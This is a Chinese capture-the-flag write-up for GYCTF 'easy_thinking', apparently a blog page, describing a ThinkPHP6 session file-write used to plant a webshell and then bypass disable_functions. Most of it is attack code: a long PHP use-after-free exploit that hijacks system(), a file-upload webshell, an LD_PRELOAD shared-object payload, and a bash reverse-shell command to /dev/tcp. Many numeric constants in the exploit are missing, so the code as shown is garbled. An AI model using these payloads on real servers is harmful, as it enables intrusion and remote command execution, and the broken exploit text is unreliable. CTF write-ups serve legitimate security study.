GYCTF easy_thinking
前期储备:ThinkPHP6 任意文件操作漏洞分析 https://paper.seebug.org/1114/
学习链接:
https://www.freebuf.com/articles/web/192052.html
https://bugs.php.net/bug.php?id=72530
https://www.gem-love.com/ctf/1669.html#easy_thinking
https://www.jianshu.com/p/b0a130fe5c4d
复现:
源码泄露,看了一下是tp6框架,代码审计一下
常见的系统命令函数:
修改session,长度为32位,session后缀改为.php{加上.php后为32位}
在搜索框搜索的内容会直接保存在/runtime/session/目录下,直接getshell
但是上传了一句话连不上去(菜刀8行,可以用antsword),看一下phpinfo,发现许多函数都被ban了,这里学习到了师傅的方法:https://www.gem-love.com/ctf/1669.html#easy_thinking
exp:https://github.com/mm0r1/exploits
<?php pwn("/readflag"); //这里是想要执行的系统命令 function pwn($cmd) {
global $abc, $helper; function str2ptr(&$str, $p = , $s = ) {
$address = ;
for($j = $s-; $j >= ; $j--) {
$address <<= ;
$address |= ord($str[$p+$j]);
}
return $address;
} function ptr2str($ptr, $m = ) {
$out = "";
for ($i=; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= ;
}
return $out;
} function write(&$str, $p, $v, $n = ) {
$i = ;
for($i = ; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= ;
}
} function leak($addr, $p = , $s = ) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != ) { $leak %= << ($s * ) - ; }
return $leak;
} function parse_elf($base) {
$e_type = leak($base, 0x10, ); $e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, );
$e_phnum = leak($base, 0x38, ); for($i = ; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, , );
$p_flags = leak($header, , );
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28); if($p_type == && $p_flags == ) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == && $p_flags == ) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
} if(!$data_addr || !$text_size || !$data_size)
return false; return [$data_addr, $text_size, $data_size];
} function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = ; $i < $data_size / ; $i++) {
$leak = leak($data_addr, $i * );
if($leak - $base > && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue; $leak = leak($data_addr, ($i + ) * );
if($leak - $base > && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue; return $data_addr + $i * ;
}
} function get_binary_base($binary_leak) {
$base = ;
$start = $binary_leak & 0xfffffffffffff000;
for($i = ; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, , );
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
} function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, , ); if($f_name == 0x6d6574737973) { # system
return leak($addr + );
}
$addr += 0x20;
} while($f_entry != );
return false;
} class ryat {
var $ryat;
var $chtg; function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = ;
}
} class Helper {
public $a, $b, $c, $d;
} if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
} $n_alloc = ; # increase this value if you get segfaults $contiguous = [];
for($i = ; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', ); $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles(); $v = [];
$v[] = ptr2str(, );
unset($v);
$abc = $out[][]; $helper = new Helper;
$helper->b = function ($x) { }; if(strlen($abc) == || strlen($abc) == ) {
die("UAF failed");
} # leaks
$closure_handlers = str2ptr($abc, );
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8; # fake value
write($abc, 0x60, );
write($abc, 0x70, ); # fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, );
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
} if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
} if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
} if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
} # fake closure object
$fake_obj_offset = 0xd0;
for($i = ; $i < 0x110; $i += ) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
} # pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, , ); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit();
}
bypss这些函数要使用到脚本,可是不可能一次性上传大的脚本,于是写了个小马,构造一个表单上传脚本
<?php if(@$_GET["act"]=="save"){if(isset($_POST["content"])&&isset($_POST["name"])){if($_POST["content"]!=""&&$_POST["name"]!=""){if(fwrite(fopen(stripslashes($_POST["name"]),"w"),stripslashes($_POST["content"]))){echo "OK! <a href=\"".stripslashes($_POST["name"])."\">".stripslashes($_POST["name"])."</a>";};}}}else{if(@$_GET["act"]=="godsdoor"){echo '<meta charset="utf-8"><form action="?act=save" method="post">content:<br/><textarea name="content" ></textarea><br/>filenane:<br/><input name="name"/><br/><input type="submit" value="GO!"></form>';}}
?>
上面师傅的blog里还学到了另一个情况,(2019第十届极客挑战赛RCE ME)
通常情况下使用LD_PRELOAD劫持系统函数,参考https://www.freebuf.com/articles/web/192052.html
但是这个题ban了mail(),所以不能用。
与本题类似题目:
2019高校网络信息安全管理运维挑战赛的expass,利用php2016年的漏洞https://bugs.php.net/bug.php?id=72530
脚本是一样的 (师傅tpl!!!)
小记 一般导致webshell不能执行命令的原因
一是 php.ini 中用 disable_functions 指示器禁用了 system()、exec() 等等这类命令执行的相关函数;
二是 web 进程运行在 rbash 这类受限 shell 环境中;
三是 WAF 拦劫。若是一则无法执行任何命令,
若是二、三则可以执行少量命令。从当前现象来看,很可能由 disable_functions 所致。利用前面的 RCE 漏洞执行 phpinfo()可查证推测
绕过思路:
有四种绕过 disable_functions 的手法:
第一种,攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞;
第二种,寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec(),逐一尝试,或许有漏网之鱼;
第三种,mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制;
第四种,利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果(要求PHP支持 putenv()、mail())
如果mail(),putenv()被ban了,就试一下介个脚本
官方wp:
看了官方wp--------------
如果phpinfo里面有 gnupg 拓展,该拓展能够实现在 php 中使用 gpg 加密,测试可以发现使用 gnupg 拓展下的 gnupg_init() 函数 可以进行 bypass。
exp.c
#include <stdlib.h>
__attribute__((constructor)) void j0k3r(){
unsetenv("LD_PRELOAD");
if (getenv("cmd") != NULL){
system(getenv("cmd"));
}else{
system("echo 'no cmd' > /tmp/cmd.output");
}
}
将本地生成exp.so ( gcc --share -fPIC exp.c -o exp.so )传入/tmp/下
再传入
<?php putenv("cmd=/bin/bash -c 'bash -i >& /dev/tcp/host/port 0>&1'");putenv("LD_PRELOAD=/tmp/exp.so");gnupg_init();?>
反弹shell,读取文件就可以了
但是我刚开官方wp的时候,很迷惑,mail函数已经被ban了,为什么还可以用LD_PRELOAD突破bypass?????
在buu上复现的时候不行耶。。。。 我去研究研究。。。。。知道了再来写
GYCTF easy_thinking的更多相关文章
- GYCTF Flaskapp[SSTI模板注入 ]
题目复现传送门 学习链接: 找了个师傅的blog先学习一下基础的flask知识 https://www.freebuf.com/column/187845.html(从零学flask) 简单记录一下: ...
- GYCTF 盲注【regexp注入+时间盲注】
考点:regexp注入+时间盲注 源码: <?php # flag在fl4g里 include 'waf.php'; header("Content-type: text/html; ...
- GYCTF easyphp 【反序列化配合字符逃逸】
基础知识可以参考我之前写的那个 0CTF 2016 piapiapia 那个题只是简单记录了一下,学习了一下php反序列化的思路 https://www.cnblogs.com/tiaopideju ...
- GYCTF Node game
考点: NodeJS 代码审计 SSRF 请求夹带 复现: 不太懂js,先留着吧,学懂了再记录
- GYCTF ezupload
上传一句话,没有任何过滤 菜刀连接后,读取flag文件 bash -c/readflag >tmp cat tmp 上面是非预期的解法.应该是题出问题了.看了一个师傅的blog,看源码,发现预期 ...
- easy_thinking
登陆抓包,改成32位,根据tp6任意创建文件的漏洞,修改cookie. 上传文件. 木马在/runtime/session下, 然后传bypass文件绕过disablefunction,得到flag
- [BUUOJ记录] [GYCTF]EasyThinking
主要考察ThinkPHP6.0的一个任意文件写入的CVE以及突破disable_function的方法. ThinkPHP6.0.0任意文件操作漏洞 理论分析 进入题目是一个简单的操作页面,dirma ...
- GYCTF Web区部分WP
目录: Blacklist Easyphp Ezsqli FlaskApp EasyThinking 前言: 这次比赛从第二天开始打的,因为快开学了所以就没怎么看题目(主要还是自己太菜)就只做出一道题 ...
- 原型链污染(Node.js污染,javasrcipt原型链污染的)
学习链接: https://www.jianshu.com/p/6e623e9debe3 关于NJS https://xz.aliyun.com/t/7184 相关题是 GYCTF ez_expr ...
随机推荐
- k8s 安装ELK(6.7.0版本)和EFK
一.Elasticsearch安装 helm安装的也行,而且helm安装的stable/elasticsearch可用性更高,但是使用资源更多. 1.安装elasticsearch(线上环境千万记得把 ...
- DeBug Python神级工具PySnooper
安装 pip3 install pysnooper import pysnooper @pysnooper.snoop() def number_to_bits(number): if number: ...
- mysql出现 Unknown column 'Password' in 'field list'
linux安装了mysql之后初始化密码获取:出现了下面的内容,密码很尴尬,无法用root登录: grep 'temporary password' /var/log/mysqld.log [Note ...
- css实现表单label文字两端对齐
如图,在我们写页面的时候,经常遇到这种的情况,而需求是想让label文字两端对齐,我们来看看如何用css解决 /**css代码**/ ul li{ list-style: none; } .info- ...
- 目标检测:yolo-v3与faster-rcnn
一. 算法背景 1. 机器视觉实际应用往往涉及包含多个物体的复杂场景,基于深度卷积神经网络的特征提取器,需要结合其他算法来准确定位多个目标,并进行识别. 2. 工业领域,目标检测算法在安防和质检系统都 ...
- WebAPI中的定时处理-使用Quartz.Net
借鉴: https://blog.csdn.net/lordwish/article/details/78926252 在最近的一篇文章中讲到了如何在web API中实现定时处理,采用的是比较原始的T ...
- 聊聊spring之bean对象的实例化过程
在spring实例化 之前bean对象封装成 beanDefinition 对象 想了解详情的请参考上一篇文章 好了 我们聊聊 Bean 的实例化过程的几个重要角色 BeanDefinitionReg ...
- 如何利用Azure DevOps快速实现自动化构建、测试、打包及部署
前两天有朋友问我,微软的Azure好用吗,适不适合国人的使用习惯,我就跟他讲了下,Azue很好用,这也是为什么微软云营收一直涨涨涨的原因,基本可以再1个小时内实现自动化构建.打包以及部署到Azure服 ...
- ACP知识总结
由于ACP是一个敏捷开发的系统性知识,下面只针对我自身学习的知识总结,若需要完整的考试学习资料,可评论区或私聊我拿. 敏捷估计与规划.png ACP知识点锦集.png 敏捷项目软件总结.p ...
- 个性化和云端孤岛困扰SaaS用户,低代码PaaS或成解决之道 ZT
近日,中国软件行业协会.中国软件网联合阿里云推出了<2020中国SaaS产业十大趋势>,其中明确指出企业软件SaaS化是大势所趋,但个性化和云端孤岛成为2020年SaaS用户关注的两大问题 ...